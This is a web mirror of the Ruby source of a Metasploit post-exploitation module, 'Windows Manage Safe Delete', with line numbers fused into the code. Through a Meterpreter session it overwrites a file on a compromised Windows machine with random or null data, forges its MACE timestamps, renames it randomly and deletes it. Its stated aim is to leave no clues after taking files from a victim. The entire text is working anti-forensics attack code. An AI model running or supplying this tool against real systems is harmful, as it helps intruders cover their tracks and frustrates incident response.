Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/sdel.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::File89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Manage Safe Delete',14'Description' => %q{15The goal of the module is to hinder the recovery of deleted files by overwriting16its contents. This could be useful when you need to download some file on the victim17machine and then delete it without leaving clues about its contents. Note that the script18does not wipe the free disk space so temporary/sparse/encrypted/compressed files could19not be overwritten. Note too that MTF entries are not overwritten so very small files20could stay resident within the stream descriptor.21},22'License' => BSD_LICENSE,23'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29priv_fs_set_file_mace30stdapi_fs_stat31stdapi_railgun_api32stdapi_sys_config_getenv33]34}35}36)37)3839register_options(40[41OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),42OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]),43OptString.new('FILE', [true, 'File to be deleted', ''])44]45)46end4748def run49type = 150n = datastore['ITERATIONS']51file = datastore['FILE']5253if datastore['ZERO']54type = 055print_status('The file will be overwritten with null bytes')56end5758if !file_exist?(file)59print_error("File #{file} does not exist")60return61elsif comp_encr(file)62print_status('File compress or encrypted. Content could not be overwritten!')63end64file_overwrite(file, type, n)65end6667# Function to calculate the size of the cluster68def size_cluster69drive = session.sys.config.getenv('SystemDrive')70r = session.railgun.kernel32.GetDiskFreeSpaceA(drive, 4, 4, 4, 4)71cluster = r['lpBytesPerSector'] * r['lpSectorsPerCluster']72print_status("Cluster Size: #{cluster}")7374return cluster75end7677# Function to calculate the real file size on disk (file size + slack space)78def size_on_disk(file)79size_file = session.fs.file.stat(file).size80print_status("Size of the file: #{size_file}")8182if (size_file < 800)83print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it!")84end8586sizeC = size_cluster87size_ = size_file.divmod(sizeC)8889if size_.last != 090real_size = (size_.first * sizeC) + sizeC91else92real_size = size_.first * sizeC93end9495print_status("Size on disk: #{real_size}")96return real_size97end9899# Change MACE attributes. Get a fake date by subtracting N days from the current date100def change_mace(file)101rsec = Rex::Text.rand_text_numeric(7, bad = '012')102date = Time.now - rsec.to_i103print_status('Changing MACE attributes')104session.priv.fs.set_file_mace(file, date, date, date, date)105end106107# Function to overwrite the file108def file_overwrite(file, type, n)109# FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk110r = session.railgun.kernel32.CreateFileA(file, 'GENERIC_WRITE', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH', 0)111handle = r['return']112real_size = size_on_disk(file)113114if type == 0115random = "\0" * real_size116end117118i = 0119n.times do120i += 1121print_status("Iteration #{i}/#{n}:")122123if type == 1124random = Rex::Text.rand_text(real_size, nil)125end126127# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx128session.railgun.kernel32.SetFilePointer(handle, 0, nil, 'FILE_BEGIN')129130# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx131w = session.railgun.kernel32.WriteFile(handle, random, real_size, 4, nil)132133if w['return'] == false134print_error('The was an error writing to disk, check permissions')135return136end137138print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")139end140141session.railgun.kernel32.CloseHandle(handle)142change_mace(file)143144# Generate a long random file name before delete it145newname = Rex::Text.rand_text_alpha(200, nil)146print_status('Changing file name')147148# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx149session.railgun.kernel32.MoveFileA(file, newname)150151file_rm(newname)152print_good('File erased!')153end154155# Check if the file is encrypted or compressed156def comp_encr(file)157# http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx158handle = session.railgun.kernel32.GetFileAttributesA(file)159type = handle['return']160161# FILE_ATTRIBUTE_COMPRESSED=0x800162# FILE_ATTRIBUTE_ENCRYPTED=0x4000163if (type & (0x4800)).nonzero?164return true165end166167return false168end169end170171172